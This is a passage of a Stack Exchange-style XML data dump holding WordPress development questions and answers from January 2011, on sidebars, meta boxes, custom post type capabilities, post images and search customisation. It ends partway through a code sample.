  <row Id="7638" PostTypeId="1" CreationDate="2011-01-24T19:12:34.990" Score="0" ViewCount="194" Body="&lt;p&gt;I'm trying to get my sidebar to change when a user is logged in and i'm using the is_user_logged_in function. Here is the code - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- BEGIN sidebar --&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;/**&#xA; * The Sidebar containing the primary and secondary widget areas.&#xA; *&#xA; * @package WordPress&#xA; * @subpackage Twenty_Ten&#xA; * @since Twenty Ten 1.0&#xA; */&#xA;?&amp;gt;&#xA;&#xA;        &amp;lt;div id=&quot;primary&quot; class=&quot;widget-area&quot; role=&quot;complementary&quot;&amp;gt;&#xA;            &amp;lt;ul class=&quot;xoxo&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;    /* When we call the dynamic_sidebar() function, it'll spit out&#xA;     * the widgets for that widget area. If it instead returns false,&#xA;     * then the sidebar simply doesn't exist, so we'll hard-code in&#xA;     * some default sidebar stuff just in case.&#xA;     */&#xA;    if ( ! dynamic_sidebar( 'primary-widget-area' ) ) : ?&amp;gt;&#xA;&#xA;&#xA;&amp;lt;li class=&quot;widget-container&quot;&amp;gt;&#xA;&amp;lt;h3 class=&quot;widget-title&quot;&amp;gt;Sign In / Register&amp;lt;/h3&amp;gt;&#xA;&amp;lt;ul&amp;gt;    &#xA;&amp;lt;?php if ( is_user_logged_in() ) { echo 'Welcome, registered user!';} else { echo 'Welcome, unregistered user!';} ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;li id=&quot;meta&quot; class=&quot;widget-container&quot;&amp;gt;&#xA;                &amp;lt;h3 class=&quot;widget-title&quot;&amp;gt;&amp;lt;?php _e( 'Meta', 'twentyten' ); ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                &amp;lt;ul&amp;gt;&#xA;                    &amp;lt;?php wp_register(); ?&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&amp;lt;?php wp_loginout(); ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;?php wp_meta(); ?&amp;gt;&#xA;                &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;&#xA;        &amp;lt;?php endif; // end primary widget area ?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #primary .widget-area --&amp;gt;&#xA;&#xA;&#xA;&#xA;&amp;lt;!-- END sidebar --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When the user is logged in the sidebar shows what it's supposed to. When the user logs out, it disappears completely. What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="2479" LastActivityDate="2011-02-24T05:38:07.890" Title="is_user_logged_in function in a sidebar not working" Tags="&lt;sidebar&gt;&lt;users&gt;&lt;login&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="7639" PostTypeId="1" CreationDate="2011-01-24T19:30:50.917" Score="0" ViewCount="188" Body="&lt;p&gt;I am trying to add a menu box to &lt;code&gt;Pages &amp;gt; Pages&lt;/code&gt; or &lt;code&gt;Pages &amp;gt; Add New&lt;/code&gt;, basically whenever they access a page, be it to edit an existing page or add a new one, I would like to add a menu box under the &lt;code&gt;Page Attributes&lt;/code&gt; box on the right, or anywhere on those pages that I can add a input form into to work in conjunction with the plugin I am trying to build.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am very very new to WordPress plugin development, so please forgive my ignorance on the subject, any learning materials or good resources on the subject would also be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="2632" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-25T08:37:55.807" LastActivityDate="2011-01-25T08:37:55.807" Title="Adding a meta box to the page edit screen?" Tags="&lt;plugin-development&gt;&lt;metabox&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="0" />
  <row Id="7640" PostTypeId="2" ParentId="7648" CreationDate="2011-01-24T19:47:54.233" Score="1" ViewCount="" Body="&lt;p&gt;Updated.&#xA;after your comment i read the question again and i saw that i was wrong with my answer and your title was miss leading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what you are looking for is call Meta Box. there are about 100 of questions around here that show just how to add one to your edit screen but if you are just starting out i would recommend trying the tut here&#xA;&lt;a href=&quot;http://www.deluxeblogtips.com/2010/04/how-to-create-meta-box-wordpress-post.html&quot; rel=&quot;nofollow&quot;&gt;http://www.deluxeblogtips.com/2010/04/how-to-create-meta-box-wordpress-post.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-01-25T05:03:22.493" LastActivityDate="2011-01-25T05:03:22.493" CommentCount="2" />
  <row Id="7642" PostTypeId="1" CreationDate="2011-01-24T20:19:59.163" Score="1" ViewCount="117" Body="&lt;p&gt;I've created a custom post type called 'directory' and assigned it the capability type of 'listing'. It has a unique capability type because I want to restrict Contributors to only be able to create/edit/publish this post type, which I am restricting via capabilities. There are the capabilities that were created by the MapCap plugin:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Delete listings &lt;/li&gt;&#xA;&lt;li&gt;Delete published listing posts&lt;/li&gt;&#xA;&lt;li&gt;Edit listings &lt;/li&gt;&#xA;&lt;li&gt;Edit private listing posts&lt;/li&gt;&#xA;&lt;li&gt;Edit published listing posts&lt;/li&gt;&#xA;&lt;li&gt;Publish listings&lt;/li&gt;&#xA;&lt;li&gt;Read private listings&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For the Contributor, everything is working properly, and he/she can create, and only edit his/her own posts, and can upload attachments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Admin account has all the same capabilities, but isn't fully working. I can create a post, and edit any of the others. But it does not give me full rights to the attachments. In the media library, any files I upload with this custom post type can't be deleted when I am logged in as the admin. (I am still able to Trash the attachments by other authors, just not my own uploaded as admin.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest thing I've found is &lt;a href=&quot;http://lists.automattic.com/pipermail/wp-trac/2008-November/034505.html&quot; rel=&quot;nofollow&quot;&gt;this message on WordPress Trac&lt;/a&gt; that describes how attachments can't be edited without the edit_post/delete_post capability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume this is simply a matter of me not having proper capabilities assigned to the post type, but I've not had any luck finding the right combination.&lt;/p&gt;&#xA;" OwnerUserId="2041" LastActivityDate="2011-07-02T01:20:05.600" Title="Why can't my admin account manage attachments on a custom post type with a unique capability type?" Tags="&lt;custom-post-types&gt;&lt;attachments&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="7643" PostTypeId="2" ParentId="7626" CreationDate="2011-01-24T20:22:53.293" Score="1" ViewCount="" Body="&lt;p&gt;This is what I include in my calendar plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  // Alternative solution for loading scripts only in plugin page&#xA;  if( (is_admin() ) &amp;amp;&amp;amp; (isset($_GET['page'])))   { &#xA;      // Register scripts and styles&#xA;      add_action('admin_init', 'wp_eventcal_init');&#xA;  }  &#xA;&#xA;  function wp_eventcal_init() {    &#xA;    // Only load these scripts in Admin&#xA;    wp_deregister_script('jquery-ui-core');&#xA;    wp_register_script('jquery-ui','http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.4/jquery-ui.js',array('jquery'));&#xA;    wp_enqueue_script('ui-datepicker', plugins_url('js/jquery.ui.datepicker.min.js',__FILE__));&#xA;    wp_enqueue_script('ui-timepicker', plugins_url('js/jquery.timepicker.js',__FILE__));&#xA;    wp_enqueue_script('wp-calendar', plugins_url('js/wp-eventcal.js',__FILE__));&#xA;    wp_enqueue_style('event_cal_css', plugins_url('styles/eventcal.css',__FILE__));          &#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I just do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(&quot;#event_startTime, #event_endTime&quot;).timePicker();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2011-01-24T20:22:53.293" />
  <row Id="7644" PostTypeId="2" ParentId="7331" CreationDate="2011-01-24T20:38:01.657" Score="0" ViewCount="" Body="&lt;p&gt;I am trying to accomplish this same thing, but the code here is not working for me... is the syntax all correct? I have a basic working knowledge of PHP, but I can't tell what's going on here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps some clarification?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" LastActivityDate="2011-01-24T20:38:01.657" CommentCount="4" />
  <row Id="7645" PostTypeId="1" CreationDate="2011-01-24T21:16:46.100" Score="1" ViewCount="167" Body="&lt;p&gt;Im running 'the loop' and I want to get the image of the post (in original size - not thumbnail), how do I do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you.&lt;/p&gt;&#xA;" OwnerUserId="2687" LastEditorUserId="2048" LastEditorDisplayName="" LastEditDate="2011-01-25T13:18:56.493" LastActivityDate="2011-01-26T16:28:18.547" Title="get the image of the post" Tags="&lt;images&gt;&lt;attachments&gt;&lt;loop&gt;&lt;the-loop&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="7646" PostTypeId="2" ParentId="7629" CreationDate="2011-01-24T21:36:32.667" Score="1" ViewCount="" Body="&lt;p&gt;Not sure about WordPress specifics on processing date when saving post, but it stores post's date in database under &lt;code&gt;datetime&lt;/code&gt; type, which according to &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.0/en/datetime.html&quot; rel=&quot;nofollow&quot;&gt;MySQL The DATETIME, DATE, and TIMESTAMP Types&lt;/a&gt; only has range of &lt;strong&gt;1000-01-01 00:00:00 to 9999-12-31 23:59:59&lt;/strong&gt; and so won't go back as far as you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it is definitely better to store date separately (custom field makes sense) as string or timestamp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also &lt;a href=&quot;http://php.net/manual/en/function.strtotime.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;strtotime()&lt;/code&gt;&lt;/a&gt; is usually awesome, but has limitations of its own:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The valid range of a timestamp is&#xA;  typically from &lt;strong&gt;Fri, 13 Dec 1901&#xA;  20:45:54 UTC to Tue, 19 Jan 2038&#xA;  03:14:07 UTC&lt;/strong&gt;. (These are the dates&#xA;  that correspond to the minimum and&#xA;  maximum values for a 32-bit signed&#xA;  integer.) Additionally, not all&#xA;  platforms support negative timestamps,&#xA;  therefore your date range may be&#xA;  limited to no earlier than the Unix&#xA;  epoch. This means that e.g. dates&#xA;  prior to Jan 1, 1970 will not work on&#xA;  Windows, some Linux distributions, and&#xA;  a few other operating systems. PHP&#xA;  5.1.0 and newer versions overcome this limitation though.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Overall I suspect that for such extreme dates you will need to write your own code or find some ready-made by third party.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-24T21:36:32.667" CommentCount="1" />
  <row Id="7647" PostTypeId="2" ParentId="7645" CreationDate="2011-01-24T21:46:31.940" Score="2" ViewCount="" Body="&lt;p&gt;The function &lt;code&gt;the_post_thumbnail()&lt;/code&gt; grabs the featured image for you. You can specify the full size image like this, I think: &#xA;&lt;code&gt;the_post_thumbnail('full')&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="799" LastActivityDate="2011-01-24T21:46:31.940" />
  <row Id="7648" PostTypeId="1" AcceptedAnswerId="7649" CreationDate="2011-01-24T19:38:36.413" Score="0" ViewCount="122" Body="&lt;p&gt;I am trying to add a menu box to &lt;code&gt;Pages &amp;gt; Pages&lt;/code&gt; or &lt;code&gt;Pages &amp;gt; Add New&lt;/code&gt;, basically whenever they access a page, be it to edit an existing page or add a new one, I would like to add a menu box under the &lt;code&gt;Page Attributes&lt;/code&gt; box on the right, or anywhere on those pages that I can add a input form into to work in conjunction with the plugin I am trying to build.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am very very new to wordpress plugin development, so please forgive my ignorance on the subject, any learning materials or good resources on the subject would also be greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanx in advance!&lt;/p&gt;&#xA;" OwnerUserId="2632" LastEditorUserId="2110" LastEditorDisplayName="" LastEditDate="2011-01-25T05:18:03.563" LastActivityDate="2011-01-25T05:18:03.563" Title="Adding admin menus to wordpress" Tags="&lt;plugin-development&gt;&lt;metabox&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" />
  <row Id="7649" PostTypeId="2" ParentId="7648" CreationDate="2011-01-24T19:53:20.710" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;add_action('add_meta_boxes', 'add_testbox');&#xA;&#xA;function add_testbox() {&#xA;    add_meta_box( 'testmetabox', 'Test Meta Box', 'testmetabox_content', 'post', 'side', 'low');&#xA;}&#xA;&#xA;function testmetabox_content() {&#xA;    echo &quot;hi&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can drag and drop the box into the spot you want it to display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you always wrap the &lt;code&gt;add_meta_box()&lt;/code&gt; function in another function, then hook that in like I showed. If you call &lt;code&gt;add_meta_box()&lt;/code&gt; outside the function, you'll get a fatal error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This example is for WordPress 3.0 and above. As the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box#Example&quot; rel=&quot;nofollow&quot;&gt;WordPress Codex shows&lt;/a&gt;, the 'add_meta_boxes' hook I used was added in WP 3.0. If you're using an older version of WordPress, (which you shouldn't be), use 'admin_init' instead of 'add_meta_boxes'.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2011-01-24T19:53:20.710" CommentCount="1" />
  <row Id="7650" PostTypeId="2" ParentId="7648" CreationDate="2011-01-24T19:53:53.387" Score="1" ViewCount="" Body="&lt;p&gt;actually quite simple - you can use add_meta_box ( see &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/add_meta_box&lt;/a&gt; ) to add as many different meta boxes as you like to your post type (page in your case).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows you to render custom html in your box, just remember to use the &lt;code&gt;save_post&lt;/code&gt; action to intercept your post data.&lt;/p&gt;&#xA;" OwnerUserId="2435" LastActivityDate="2011-01-24T19:53:53.387" CommentCount="3" />
  <row Id="7651" PostTypeId="1" CreationDate="2011-01-20T19:02:14.443" Score="1" ViewCount="501" Body="&lt;p&gt;I'm struggling with a WordPress search function. Maybe it will just help if someone can explain to me how the built in WordPress function works. But here's what I want:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Two search fields, by name and by location&lt;/li&gt;&#xA;&lt;li&gt;The first field should check all the common post data (only posts) + categories&lt;/li&gt;&#xA;&lt;li&gt;The second field should only check on the posts custom fields&lt;/li&gt;&#xA;&lt;li&gt;Only one field needs to be filled&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;First of all, is this even possible or do I have to use native php+sql? If it is possible, can you please give me a hint on where to start?&lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-25T15:06:38.917" LastActivityDate="2011-07-25T07:29:09.767" Title="Custom search: by post data and post metadata?" Tags="&lt;custom-field&gt;&lt;search&gt;" AnswerCount="2" />
  <row Id="7653" PostTypeId="2" ParentId="7651" CreationDate="2011-01-24T22:37:23.963" Score="0" ViewCount="" Body="&lt;p&gt;You can customize the search by making your own search template and using WP_Query. In most cases there are enough parameters to do what you want, you won't need to dive into the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/WP_Query&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: creating a custom search template&#xA;&lt;a href=&quot;http://codex.wordpress.org/Creating_a_Search_Page&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Creating_a_Search_Page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do need something outside of what WP_Query can do, you don't need to bust out custom php/slq you can use WordPress's WPDB class to interface with the database.&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wpdb_Class&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wpdb_Class&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-01-24T22:37:23.963" />
  <row Id="7654" PostTypeId="2" ParentId="7524" CreationDate="2011-01-24T23:02:55.507" Score="1" ViewCount="" Body="&lt;p&gt;Are the categories you're looking for assigned only to custom post types? This response isn't an answer, but I am having the same issue when the category is assigned to a custom post type so I thought it might be the same thing: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/7296/categories-assigned-to-custom-post-type-not-found&quot;&gt;Categories assigned to custom post type not found&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully, you figure it out.&lt;/p&gt;&#xA;" OwnerUserId="919" LastActivityDate="2011-01-24T23:02:55.507" CommentCount="1" />
  <row Id="7655" PostTypeId="2" ParentId="5903" CreationDate="2011-01-24T23:12:00.737" Score="1" ViewCount="" Body="&lt;p&gt;Not exactly what you're looking for, but you could try sliding notes: &lt;a href=&quot;http://wordpress.org/extend/plugins/hackadelic-sliding-notes/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/hackadelic-sliding-notes/&lt;/a&gt;. If you did some manipulation to the css, you could do what you're looking for maybe&lt;/p&gt;&#xA;" OwnerUserId="919" LastActivityDate="2011-01-24T23:12:00.737" />
  <row Id="7656" PostTypeId="1" CreationDate="2011-01-24T23:44:31.600" Score="0" ViewCount="25" Body="&lt;p&gt;I'd like to be able to easily reparent a category via the &quot;Quick Edit&quot; screen, but the only options that appear are &quot;Name&quot; and &quot;Slug&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to include the &quot;Parent&quot; selector here with add_action or add_filter?&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-01-25T17:08:56.927" LastActivityDate="2011-01-25T17:08:56.927" Title="Is it possible to add &quot;Parent&quot; selector to the Category &quot;Quick Edit&quot; screen?" Tags="&lt;theme-development&gt;&lt;categories&gt;" />
  <row Id="7657" PostTypeId="1" CreationDate="2011-01-25T00:52:25.540" Score="2" ViewCount="90" Body="&lt;p&gt;I write a programming blog, so sometimes I just have to write a word to represent a &lt;code&gt;command&lt;/code&gt; or &lt;code&gt;function&lt;/code&gt; which I like writing between the code tags. (See, what I just did there).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, just like StackExchange has the &quot;code&quot; button, is there a plugin to add this button to the visual editor? I know I got it on the HTML editor, but I rarely use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking of writing a plugin for this, but just in case I'm asking first in case anyone knows of a plugin doing this already.&lt;/p&gt;&#xA;" OwnerUserId="298" LastActivityDate="2011-05-25T03:53:11.677" Title="Is there a plugin to show the code tag button on the visual editor?" Tags="&lt;plugins&gt;&lt;visual-editor&gt;" AnswerCount="2" />
  <row Id="7658" PostTypeId="2" ParentId="7657" CreationDate="2011-01-25T01:16:52.283" Score="2" ViewCount="" Body="&lt;p&gt;There seem to be a few people scratching this itch over at the TinyMCE sourceforge tracker. &lt;a href=&quot;http://sourceforge.net/tracker/?group_id=103281&amp;amp;atid=738747&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/tracker/?group_id=103281&amp;amp;atid=738747&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This looks promising.. &quot;CodeExtras adds &lt;code&gt;&amp;lt;var&amp;gt; and &amp;lt;code&amp;gt;&lt;/code&gt; markup buttons - ID: 2904557&quot;&#xA;&lt;a href=&quot;http://sourceforge.net/tracker/?func=detail&amp;amp;aid=2904557&amp;amp;group_id=103281&amp;amp;atid=738747&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/tracker/?func=detail&amp;amp;aid=2904557&amp;amp;group_id=103281&amp;amp;atid=738747&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2604" LastActivityDate="2011-01-25T01:16:52.283" CommentCount="2" />
  <row Id="7660" PostTypeId="2" ParentId="7645" CreationDate="2011-01-25T01:20:07.240" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Luis:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress' image handling is tricky, and inconsistent in the edge cases so this may or may not be what you are looking for but I think what you want is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_get_attachment_url($post-&amp;gt;ID);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will give you the URL of the attached file in it's full size, but if that doesn't give you what you need I'll need you do give me more information about which images you are talking about; Featured, in the Media section, in your posts, etc? Screenshots of your admin where you enter photos will help too.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-25T01:20:07.240" />
  <row Id="7661" PostTypeId="1" CreationDate="2011-01-25T01:30:32.137" Score="0" ViewCount="335" Body="&lt;p&gt;In a site I have registered some custom taxonomies.&lt;br&gt;&#xA;I want to have sort of a linkage between one of the custom taxonomies and the categories (which is, also, a taxonomy by itself), in such a way:&lt;br&gt;&#xA;If the admin assigns a post to category A - so he will be able to choose to associate with that post only specific terms of the custom taxonomy.&lt;br&gt;&#xA;If the user assigns a post to category B - then he will be able to choose only other terms set from that custom taxonomy, and so on..  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each custom taxonomy term would be 'associated' with only one category.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two ways in which I do not want to implement it -&#xA;I don't want to use sub-categories for this, but to use a different taxonomy.&lt;br&gt;&#xA;Also, I don't want to register some different taxonomies and each them to put the terms that fit each category.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I could think of now, is to add a custom field to each term of the custom taxonomy. This field will be selected in the admin, for example, through a select box to avoid mistakes.&lt;br&gt;&#xA;Then in the post editing screen, instead of showing the regular default metabox of adding terms of a taxonomy (which is like adding tags) - so to remove it and add a custom metabox, where relevant terms are selectable by the selected category.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, in that case the editor would have to first save a draft after choosing a category, to let the system know what terms to pull of the custom taxonomy (or, make ann Ajax call after each checkbox check, to reload the list of possible terms to choose according to the category selected).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure this is the best way, but it's only now I think ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would love to brainstorm ideas of this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot,&#xA;Maor&lt;/p&gt;&#xA;" OwnerUserId="2063" LastActivityDate="2011-08-24T09:34:11.080" Title="How to link categories to custom taxonomy terms?" Tags="&lt;custom-taxonomy&gt;&lt;admin&gt;&lt;taxonomy&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="7662" PostTypeId="2" ParentId="7620" CreationDate="2011-01-25T01:46:27.173" Score="2" ViewCount="" Body="&lt;p&gt;If you are asking how to replace the default gravatar with one of your own, you can put this code in the functions.php (or better yet the custom-functions.php if your theme supports it).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'avatar_defaults', 'customgravatar' );&#xA;&#xA;function customgravatar ($avatar_defaults) {&#xA;$myavatar = get_home_url('Template_directory') . '/images/mycustomgravatar.jpg';&#xA;$avatar_defaults[$myavatar] = &quot;My Custom Logo&quot;;&#xA;return $avatar_defaults;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Create an image file and upload it to the image directory for your site.  The &quot;My Custom Logo&quot; is the label for the option in the Discussion section of your Dashboard.  This way any user who doesn't have a gravatar will get the logo of your site instead.   &lt;/p&gt;&#xA;" OwnerUserId="2709" LastActivityDate="2011-01-25T01:46:27.173" />
  <row Id="7663" PostTypeId="1" CreationDate="2011-01-25T04:14:11.187" Score="0" ViewCount="69" Body="&lt;p&gt;I am trying to display feeds from a couple of my blogs using the build in function fetch_feed() however I stumbled across a few problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am storing the rss urls in the links section and will be calling the link_rss as the input for fetch_feed(). I know that I would have to deal with an array, perhaps nested arrays??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone be kind enough to give me a way of pulling all the link_rss fields into one single variable which can be use for fetch_feed()??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having the variable in the form of an array would be great so I can just plug it in to the function like so fetch_feed($variable).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated. Thanks!!&lt;/p&gt;&#xA;" OwnerUserId="2710" LastActivityDate="2011-01-25T07:12:16.247" Title="Using links (link_rss field) as the source for fetch_feed" Tags="&lt;fetch-feed&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="7664" PostTypeId="1" AcceptedAnswerId="7710" CreationDate="2011-01-25T04:33:34.690" Score="0" ViewCount="792" Body="&lt;p&gt;I'm using a very lightweight plugin called &lt;a href=&quot;http://farinspace.com/wpalchemy-metabox/&quot; rel=&quot;nofollow&quot;&gt;WPAlchemy&lt;/a&gt; that lets me rapidly create meta-boxes for posts and pages.  I've ben able to convert &lt;code&gt;&amp;lt;textarea&amp;gt;&lt;/code&gt;'s into rich, TinyMCE's editors just fine.  The problem is, I'd like to include the Media Upload buttons for those metaboxes / editors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been able to add the buttons above each TinyMCE editor but when I click &quot;Insert into Post&quot; it isn't (has no idea) which &lt;code&gt;&amp;lt;textarea&amp;gt;&lt;/code&gt; to insert the requested picture/media.  For reference, I'm adding the following line above my &lt;code&gt;&amp;lt;textarea&amp;gt;&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;div id=&quot;media-buttons&quot; class=&quot;hide-if-no-js&quot;&amp;gt;&amp;lt;?php do_action( 'media_buttons' ); ?&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aware this isn't valid since I'm using the same id, (&lt;code&gt;#media-buttons&lt;/code&gt;) as what the default content editor uses at the top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone suggested the following JS code to kinda hook and grab the &lt;code&gt;src&lt;/code&gt; but I can't get this working for my scenario. (Suggestions came from here http:(slash)(slash)farinspace.com/multiple-wordpress-wysiwyg-visual-editors/comment-page-1/#comment-3552)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, I'm attaching an image of what it currently looks like, but it just doesn't link the &quot;Insert Into Post&quot; button with the currently focused metabox. Image: http:(slash)(slash)cl.ly/4BMf&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Any help, please?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2080" LastActivityDate="2011-01-25T12:20:48.360" Title="I'm using add_meta_box() but want to include TinyMCE editor *and* Media Uploads for each box" Tags="&lt;customization&gt;&lt;metabox&gt;&lt;uploads&gt;&lt;tinymce&gt;&lt;media-library&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="7665" PostTypeId="1" AcceptedAnswerId="7668" CreationDate="2011-01-25T04:45:58.043" Score="0" ViewCount="65" Body="&lt;p&gt;In the first function below, inside the foreach, I'm calling out to the 2nd function in order to test for the occurence of matching category ids that I want to remove from the category listing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the way I'm doing it in the 2nd function seems to me to be pretty crude, for lack of a better term. How could I improve this lookup? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function admin_trim_category_description( $terms, $taxonomies )&#xA;{&#xA;    if( 'category' != $taxonomies[0] )return $terms;&#xA;&#xA;    foreach( $terms as $key=&amp;gt;$term ) &#xA;        { &#xA;        $terms[$key]-&amp;gt;description = strip_tags(substr( $term-&amp;gt;description, 0, 75 )).&quot;...&quot;; &#xA;        if(ce4_get_utility_cats($terms[$key]-&amp;gt;term_id))&#xA;            {&#xA;            unset($terms[$key]);&#xA;            }&#xA;        } &#xA;        return $terms;&#xA;}&#xA;&#xA;function  ce4_get_utility_cats($cat_id)&#xA;{&#xA;    if($cat_id == get_cat_ID('category1') OR $cat_id == get_cat_ID('hidden') OR $cat_id == get_cat_ID('category2') OR $cat_id == get_cat_ID('category3'))&#xA;        {&#xA;        return true;&#xA;        }&#xA;        else&#xA;        {&#xA;        return false;&#xA;        }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT: The above functions are called in the following manner...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_head-edit-tags.php', 'admin_edit_tags' );&#xA;function admin_edit_tags(){&#xA;    add_filter( 'get_terms', 'admin_trim_category_description', 10, 2 );&#xA;    